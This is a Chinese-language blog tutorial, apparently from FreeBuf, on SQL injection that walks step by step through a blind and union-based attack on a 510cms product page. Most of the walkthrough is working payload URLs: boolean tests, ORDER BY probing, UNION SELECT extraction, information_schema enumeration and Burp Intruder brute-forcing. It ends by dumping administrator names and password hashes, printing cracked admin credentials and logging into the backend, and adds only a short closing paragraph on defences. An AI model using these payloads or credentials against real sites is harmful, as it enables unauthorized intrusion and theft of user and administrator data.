前言
在介绍SQL注入漏洞前,我想先说一下跟SQL注入相关的东西。例如网页的发展史,最开始的网页基本上都是静态页面,后面由于静态页面内容固定,维护困难,交互性差,功能单一等问题,创造出了以数据库技术为基础,内容多变,维护简单,交互性强(用户注册,用户登录,在线调查等)的动态页面,也就是我们现在能够利用SQL注入漏洞的原因之一。
静态页面
html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。
静态页面工作原理:客户端发送请求—服务器返回相应html文件
动态页面
由相应的脚本引擎来解释执行,根据指令生成静态网页,如PHP、JSP、ASPX等。
动态页面工作原理:客户端发送请求—服务器PHP(JSP、ASPX)解析客户请求—生成相应HTML—返还给客户端生成的HTML文件(或者其他文件)
SQL是什么
SQL语言,是结构化查询语言(Structured Query Language)的简称。SQL语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名,在数据库上执行的大部分工作都由 SQL 语句完成。SQL 对大小写不敏感。
SQL注入漏洞原理
动态页面有时会通过脚本引擎将用户输入的参数按照预先设定的规则构造成SQL语句来进行数据库操作,SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,改变原有的SQL语句的语义来执行攻击者所要的操作,其主要原因是程序没有采用必要的措施避免用户输入内容改变原有SQL语句的语义。
简单点来说就是网页上输入数据的地方,没有经过严格的过滤,通过改变原先的sql原句,增加特殊的参数,起到查询等功能,达到攻击者的目的。
SQL注入漏洞的危害
(1)绕过登录验证:在登录页面使用万能密码登录网站后台页面
(2)获取敏感数据:通过SQL注入获取网站管理员账号密码、用户信息等
(3)文件系统操作:利用SQL注入实现列目录,读取或者写入文件等
(4)注册表操作:利用SQL注入读取、写入、删除注册表等
(5)执行系统命令:通过SQL注入可以远程执行命令。
SQL注入漏洞的利用
简单介绍SQL注入漏洞应用时的过程
客户端—>服务器:这是一个网站的链接http://xxx.com/Article.php?id=81,其中在末尾有一个参数id,用户通过浏览器访问该网页的链接,提交请求后会发送给网站的服务器。
服务器—>数据库:服务器中的脚本引擎会识别用户的请求,例如获取参数id的值为81,动态构造SQL语句:Select * from Article where id=81 ,向数据库发起查询请求。
数据库—>服务器:数据库收到服务器发送过来的请求,在相应表中查询id为81的所有记录,并且返回结果给服务器。
服务器—>客户端:处理返回的所有记录,如过滤和编码特殊字符等,生成静态网页并返回给客户端。
对某网站进行SQL盲注获取数据库信息
步骤一:判断注入点
该服务器的数据库为MYSQL数据库,参数cid为注入点,可以改变后面的参数来实现不同的功能。
http://xxx.com/510.cms/product.php?cid=&listid=&proid=1%20and%201=1
通过and 1=1以及and 1=2逻辑正常或错误时的回显状态来判断是否存在注入点。
http://xxx.com/510.cms/product.php?cid=&listid=&proid=1%20and%201=2
步骤二:判断页面列数
http://xxx.com/510.cms/product.php?cid=&listid=&proid=1order by 10
通过Order by判断该页面列数为10,不同页面的列数不一致,回显的列也不一致。
http://xxx.com/510.cms/product.php?cid=&listid=&proid=1order by 11
通过Order by判断该页面列数为11时,返回错误的页面,所以往后退一个数,如果页面回显正确,就说名页面列数为10。
步骤三:判断数据回显位置
http://xxx.com/510.cms/product.php?cid=&listid=&proid=0union Select 1,2,3,4,5,6,7,8,9,10
将参数cid置空(cid=0或者cid=),Union Select 1,2,3,4,5,6,7,8,9,10判断回显的列数有哪些(3,4,5,6),这些回显的位置在后续会作为数据回显的位置。
http://xxx.com/510.cms/product.php?cid=&listid=&proid=0union Select 1,2,3,@@datadir,version(),database(),7,8,9,10
改变参数,让回显的值为数据库信息,@@datadir获取数据库路径 version()获取数据库版本,database()获取数据库名,注意看能够回显数据的地方
步骤四:判断数据库名长度,并且获取数据库名
http://xxx.com/510.cms/product.php?cid=&listid=&proid=1and length(database())=6#
通过length()方法判断数据库名的长度,长度为6时页面回显正确(数据库名为510cms)
http://xxx.com/510.cms/product.php?cid=&listid=&proid=1and length(database())=7#
长度为7时页面不显示,说明要退一个数字,进而判断数据库名的长度为6
http://xxx.com/510.cms/product.php?cid=1and ascii(substr(database()1,1))=53
利用截断函数substr获取数据库名的第一个值,并且转换为ascii码(避免大小写字母无法判断的情况),如果ascii码值相同则回显正确,如果不同则回显错误,可以结合burpsuite抓包工具来进行枚举操作。
用burp软件拦截请求信息,将请求包放到Intruder模块进行暴力破解
通过修改判断条件来进行暴力破解,查看符合条件的长度码(网页回显正确和回显错误时,网页的长度码不同,筛选出那个不同的长度码,然后与ascii码表对比)
数据库第一个字符ascii码为53,从而修改截断函数的参数依序判断出数据库为510_cms
步骤五:判断数据库表名个数,并且获取表名
http://xxx.com/510.cms/product.php?cid=1and (select count(table_name) from information_schema.tables where table_schema=database() limit 0,1)>9#
判断表名个数(count(table_name))通过(from) 默认系统数据库(information_schema.tables)当数据库名为510cms时(where table_schema=database())
判断正确时,回显正确页面。
判断失败时,回显错误页面,所以可知数据库下表名数量为10个
http://xxx.com/510.cms/product.php?cid=1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=53
通过ascii()将结果转成ascii码,通过substr(1,1)截断字符,获取从第一个位置开始的一个字符,获取表名(select table_name)通过(from) 默认系统数据库(information_schema.tables)当数据库名为510cms时(where table_schema=database())
利用burp拦截,修改ascii参数进行暴力破解,通过长度判断正确的ascii码,得到510_admin等表名
步骤六:判断列名个数,并且获取列名
这里的0x3531305F61646D696E为510_admin字符串转16进制,目的在于方便让服务器识别。
判断列名个数(count(column_name))通过(from)默认系统数据库(information_schema.columns)当表名为510_admin时(where table_name=0x3531305F61646D696E)
http://xxx.com/510.cms/product.php?cid=1and (select count(column_name) from information_schema.columns where table_name=0x3531305F61646D696E limit 0,1)>4
判断错误时,回显正确页面
判断错误时,回显错误页面,所以可知510_admin下面的列,发现有5行列
通过ascii()将结果转成ascii码,通过substr(1,1)截断字符,获取从第一个位置开始的一个字符,获取列名(select column_name)通过(from) 默认系统数据库(information_schema.columns)当表名为510_admin时(where table_name=0x3531305F61646D696E)
http://xxx.com/510.cms/product.php?cid=1and ascii(substr((select column_name from information_schema.columns where table_name=0x3531305F61646D696E limit 0,1),1,1))>1#判断表名为510_admin下的列,通过代理拦截进行ascii的暴力破解,得到正确的字段(id,passwd,name等)
步骤七:通过联合语句获取数据
通过联合语句查询数据库
该页面列数只有7个,所以不同页面需要构造不同的SQL语句
group_concat()获取查询的所有结果,database()获取数据库名
union select 1,2,3,group_concat(database()),5,6,7
通过联合语句查找表名
group_concat()获取查询的所有结果,通过在510cms数据库下来获取表名
union select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where table_schema=database()
通过联合语句查找列名
group_concat()获取查询的所有结果,通过在510_admin表名下来获取列名
union select 1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_name=0x3531305F61646D696E(510_admin)
通过联合语句查询用户名和密码
union select 1,2,3,group_concat(name,0x7c,passwd),5,6,7 from 510_admin
group_concat()获取查询的所有结果,通过510_admin这张表获取用户名以及密码,其中0x7c为|符号
将MD5上传到MD5解密中解密,获取密码的值
admin/adminlwphp
Lwphp/Chinarenlwphp
步骤八:登录后台界面
后记
作为OWASP TOP10中的漏洞之一,SQL注入漏洞在web安全中是比较常见的漏洞之一,建站人员应该提前做好防护措施,可以通过软硬件设备的防护,也可以。
进行过滤、编码、预编译等操作来防范SQL注入,通过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生;基于各类数据库定义的关键字和符号的转义规则将用户输入进行转义后组成SQL语句;基于各种语言的预编译功能,先将SQL语句进行编译,用户输入的内容只会被当做参数传入,不会被编译为命令。
来源:freebuf.com 2021-07-26 17:41:38 by: 和风sukf
请登录后发表评论
注册